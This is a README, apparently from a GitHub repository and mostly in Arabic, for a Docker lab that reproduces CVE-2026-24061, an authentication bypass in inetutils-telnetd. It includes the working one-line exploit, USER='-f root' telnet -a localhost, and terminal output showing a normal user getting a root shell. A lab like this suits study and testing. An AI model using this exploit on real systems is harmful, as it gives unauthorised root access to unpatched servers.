leonjza/inetutils-telnetd-auth-bypassمختبر دوكر صغير للتجربة مع cve-2026-24061، تجاوز المصادقة في inetutils-telnetd.
مختبر صغير للتجربة مع تجاوز المصادقة في inetutils-telnetd الإصدار 1.9.3 - 2.7 كما تم الكشف عنه في القائمة البريدية oss-sec. [0]
تعتمد هذه الحاوية على حقيقة أن inetutils-telnetd لا يزال إصدارًا ضعيفًا في Debian 11 (Bullseye). في وقت إنشاء هذا، كان:
root@ba8cc6858b87:/# apt search inetutils-telnetd
Sorting... Done
Full Text Search... Done
inetutils-telnetd/oldoldstable 2:2.0-1+deb11u2 arm64
telnet server
استنسخ المستودع وقم ببناء الحاوية باستخدام docker build -t telnetd-exploit ..
قم بتشغيل الحاوية باستخدام docker run --rm -it telnetd-exploit. ستظهر لك رسالة تعرض إثبات المفهوم (PoC).
docker run --rm -it telnetd-exploit
Starting internet superserver: inetd.
You are user1. Try telnet as root with: USER='-f root' telnet -a localhost
user1@114102afa5d3:/$
سيبدو التشغيل الناجح شيئًا كهذا:
user1@114102afa5d3:/$ USER='-f root' telnet -a localhost
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Linux 6.17.8 (114102afa5d3) (pts/1)
Linux 114102afa5d3 6.17.8 #1 SMP PREEMPT Thu Nov 20 09:34:02 UTC 2025 aarch64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@114102afa5d3:~#